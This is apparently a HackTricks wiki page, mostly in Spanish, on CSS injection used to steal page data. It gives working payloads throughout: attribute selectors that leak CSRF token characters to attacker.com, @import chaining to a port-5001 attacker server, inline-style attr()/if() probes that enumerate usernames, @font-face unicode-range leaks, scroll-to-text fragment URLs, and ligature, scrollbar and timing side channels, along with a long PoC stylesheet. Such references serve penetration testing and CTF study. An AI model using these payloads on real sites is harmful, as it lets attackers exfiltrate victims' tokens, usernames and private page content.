CSS Injection

Reading time: 25 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

CSS Injection

Attribute Selector

Los CSS selectors se crean para coincidir con los valores de los atributos name y value de un elemento input. Si el atributo value del elemento input comienza con un carácter específico, se carga un recurso externo predefinido:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (type="hidden") porque los elementos ocultos no cargan imágenes de fondo.

Bypass para elementos ocultos

Para eludir esta limitación, puedes apuntar a un elemento hermano siguiente usando el combinador general de hermanos ~. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que se cargue la imagen de fondo:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo here.

Requisitos previos para CSS Injection

Para que la técnica de CSS Injection sea efectiva, se deben cumplir ciertas condiciones:

  1. Payload Length: El vector de CSS injection debe soportar payloads lo suficientemente largos para acomodar los selectores diseñados.
  2. CSS Re-evaluation: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la re-evaluación del CSS con payloads recién generados.
  3. External Resources: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Content Security Policy (CSP) del sitio.

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combinándolo con la siguiente técnica @import, es posible exfiltrar mucha información usando CSS injection desde páginas blind con blind-css-exfiltration.

@import

La técnica anterior tiene algunas desventajas, revisa los prerequisitos. O necesitas poder enviar múltiples enlaces a la víctima, o necesitas poder iframe la página vulnerable a CSS injection.

Sin embargo, hay otra técnica ingeniosa que usa CSS @import para mejorar la efectividad de la técnica.

Esto fue mostrado por primera vez por Pepe Vila y funciona así:

En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en el ejemplo anterior), vamos a cargar la página solo una vez y únicamente con un import al servidor del atacante (este es el payload que enviarás a la víctima):

css
@import url("//attacker.com:5001/start?");
  1. The import is going to recibir algún script CSS from the attackers and the browser lo cargará.
  2. The first part of the CSS script the attacker will send is another @import to the attackers server again.
  3. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
  4. The second and bigger part of the payload is going to be an attribute selector leakage payload
  5. This will send to the attackers server the first char of the secret and the last one
  6. Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
  7. The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.

The attacker will seguir ese bucle hasta conseguir leak completamente el secreto.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

This allows the script to leak the secret faster.

warning

Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No te preocupes, solo revisa la output porque puedes ver la flag ahí.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: controlar el atributo style de un elemento y asegurarse de que el atributo objetivo esté en el mismo elemento (attr() reads only same-element attributes).
  • Read: copiar el atributo en una variable CSS: --val: attr(title).
  • Decide: seleccionar una URL usando condicionales anidados comparando la variable con candidatas de cadena: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: aplicar background: image-set(var(--steal)) (o cualquier propiedad que haga fetching) para forzar una petición al endpoint elegido.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload funcional (se requieren comillas dobles en la comparación):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerando valores de atributos con condicionales anidados:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Demostración realista (sondeo de nombres de usuario):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notas y limitaciones:

  • Funciona en Chromium-based browsers al momento de la investigación; el comportamiento puede diferir en otros motores.
  • Más adecuado para espacios de valores finitos/enumerables (IDs, flags, short usernames). Robar cadenas arbitrariamente largas sin hojas de estilo externas sigue siendo un desafío.
  • Cualquier propiedad CSS que obtenga una URL puede usarse para disparar la petición (p. ej., background/image-set, border-image, list-style, cursor, content).

Automatización: a Burp Custom Action puede generar payloads inline-style anidados para brute-force de valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Otros selectores

Otras formas de acceder a partes del DOM con CSS selectors:

  • .class-to-search:nth-child(2): Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.
  • :empty selector: Used for example in this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Referencia: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

La intención general es usar una fuente personalizada desde un endpoint controlado y asegurarse de que el texto (en este caso, 'A') se muestre con esa fuente solo si el recurso especificado (favicon.ico) no puede cargarse.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Uso de fuente personalizada:
  • Se define una fuente personalizada usando la regla @font-face dentro de una etiqueta <style> en la sección <head>.
  • La fuente se llama poc y se obtiene de un endpoint externo (http://attacker.com/?leak).
  • La propiedad unicode-range está establecida en U+0041, apuntando al carácter Unicode específico 'A'.
  1. Elemento <object> con texto de fallback:
  • Se crea un elemento <object> con id="poc0" en la sección <body>. Este elemento intenta cargar un recurso desde http://192.168.0.1/favicon.ico.
  • El font-family de este elemento se establece en 'poc', como se definió en la sección <style>.
  • Si el recurso (favicon.ico) falla al cargar, se muestra el contenido de fallback (la letra 'A') dentro de la etiqueta <object>.
  • El contenido de fallback ('A') se renderizará usando la fuente personalizada poc si no se puede cargar el recurso externo.

Estilizando el Scroll-to-text Fragment

La pseudo-clase :target se emplea para seleccionar un elemento apuntado por un fragmento de URL, como se especifica en la CSS Selectors Level 4 specification. Es crucial entender que ::target-text no coincide con ningún elemento a menos que el texto sea explícitamente apuntado por el fragmento.

Surge una preocupación de seguridad cuando atacantes explotan la característica Scroll-to-text, lo que les permite confirmar la presencia de texto específico en una página web cargando un recurso desde su servidor mediante HTML injection. El método consiste en inyectar una regla CSS como esta:

css
:target::before {
content: url(target.png);
}

En tales escenarios, si el texto "Administrator" está presente en la página, se solicita el recurso target.png al servidor, indicando la presencia del texto. Una instancia de este ataque puede ejecutarse a través de una URL especialmente elaborada que incrusta el CSS inyectado junto con un Scroll-to-text fragment:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Aquí, el ataque manipula HTML injection para transmitir el código CSS, apuntando al texto específico "Administrator" mediante el Scroll-to-text fragment (#:~:text=Administrator). Si se encuentra el texto, el recurso indicado se carga, señalando involuntariamente su presencia al atacante.

Para mitigar este riesgo, deben considerarse los siguientes puntos:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para leak arbitrary secrets or tokens.
  2. Restriction to Top-level Browsing Contexts: STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más visible para el usuario.
  3. Necessity of User Activation: STTF requiere un gesto de user-activation para funcionar, lo que significa que las explotaciones solo son viables mediante navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automaticen sin interacción del usuario. No obstante, el autor del blog señala condiciones específicas y bypasses (p. ej., social engineering, interacción con extensiones de navegador muy extendidas) que podrían facilitar la automatización del ataque.

La concienciación sobre estos mecanismos y las posibles vulnerabilidades es clave para mantener la seguridad web y protegerse contra tales tácticas explotativas.

Para más información consulta el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Puedes revisar un exploit using this technique for a CTF here.

@font-face / unicode-range

Puedes especificar external fonts for specific unicode values que solo serán gathered if those unicode values are present en la página. Por ejemplo:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Exfiltración de nodos de texto (I): ligatures

Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

La técnica descrita consiste en extraer texto de un nodo explotando las ligaduras de fuente y monitoreando cambios en el ancho. El proceso implica varios pasos:

  1. Creación de fuentes personalizadas:
  • Se crean SVG fonts con glyphs que tienen un atributo horiz-adv-x, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
  • Ejemplo de glyph SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, donde "XY" denota una secuencia de dos caracteres.
  • Estas fuentes se convierten luego a formato woff usando fontforge.
  1. Detección de cambios de ancho:
  • Se usa CSS para evitar que el texto haga wrap (white-space: nowrap) y para personalizar el estilo de la scrollbar.
  • La aparición de una scrollbar horizontal, estilizada de forma distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por tanto una secuencia de caracteres concreta, está presente en el texto.
  • El CSS implicado:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Proceso de exploit:
  • Paso 1: Se crean fuentes para pares de caracteres con ancho sustancial.
  • Paso 2: Se emplea el truco basado en la scrollbar para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
  • Paso 3: Al detectar una ligadura, se generan nuevos glyphs que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter precedente o siguiente.
  • Paso 4: Se lleva a cabo la detección de la ligadura de tres caracteres.
  • Paso 5: El proceso se repite, revelando progresivamente todo el texto.
  1. Optimización:
  • El método de inicialización actual usando <meta refresh=... no es óptimo.
  • Un enfoque más eficiente podría involucrar el truco de @import en CSS, mejorando el rendimiento del exploit.

Exfiltración de nodos de texto (II): leaking the charset with a default font (not requiring external assets)

Referencia: PoC using Comic Sans by @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.

El concepto gira en torno a utilizar una animación para incrementar progresivamente el ancho de un div, permitiendo que un carácter a la vez pase de la parte 'suffix' del texto a la parte 'prefix'. Este proceso efectivamente divide el texto en dos secciones:

  1. Prefix: La línea inicial.
  2. Suffix: La(s) línea(s) posterior(es).

Las etapas de transición de los caracteres aparecerían como sigue:

C
ADB

CA
DB

CAD
B

CADB

Durante esta transición se emplea el unicode-range trick para identificar cada nuevo carácter a medida que se une al prefix. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente por defecto, desencadenando así una scrollbar vertical. La aparición de esta scrollbar revela indirectamente la presencia de un nuevo carácter en el prefix.

Aunque este método permite detectar caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que ha ocurrido una repetición.

tip

Básicamente, el unicode-range is used to detect a char, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.
Cuando el char es found, se le asigna la fuente preinstalada Comic Sans, lo que hace que el char sea más grande y dispare una scrollbar que va a leak the found char.

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Referencia: Esto se menciona como an unsuccessful solution in this writeup

Este caso es muy similar al anterior; sin embargo, aquí el objetivo de hacer que caracteres específicos sean más grandes que otros para ocultar algo —como un botón que no sea pulsado por el bot o una imagen que no se cargue—. Así, podríamos medir la acción (o la falta de la misma) y saber si un carácter específico está presente en el texto.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Referencia: Esto se menciona como an unsuccessful solution in this writeup

En este caso, podríamos intentar leak si un carácter está en el texto cargando una fuente falsa desde el mismo origen:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Referencia: Esto se menciona como an unsuccessful solution in this writeup

En este caso puedes indicar CSS para cargar cientos de fuentes falsas desde el mismo origen cuando ocurre una coincidencia. De esta manera puedes medir el tiempo que toma y averiguar si aparece un char o no con algo como:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Y el código del bot se ve así:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Entonces, si la fuente no coincide, el tiempo de respuesta al visitar el bot será aproximadamente de 30 segundos. Sin embargo, si la fuente coincide, se enviarán múltiples solicitudes para recuperarla, provocando actividad continua en la red. Como resultado, tardará más en cumplirse la condición de parada y en recibirse la respuesta. Por lo tanto, el tiempo de respuesta puede utilizarse como indicador para determinar si hay una coincidencia de fuente.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks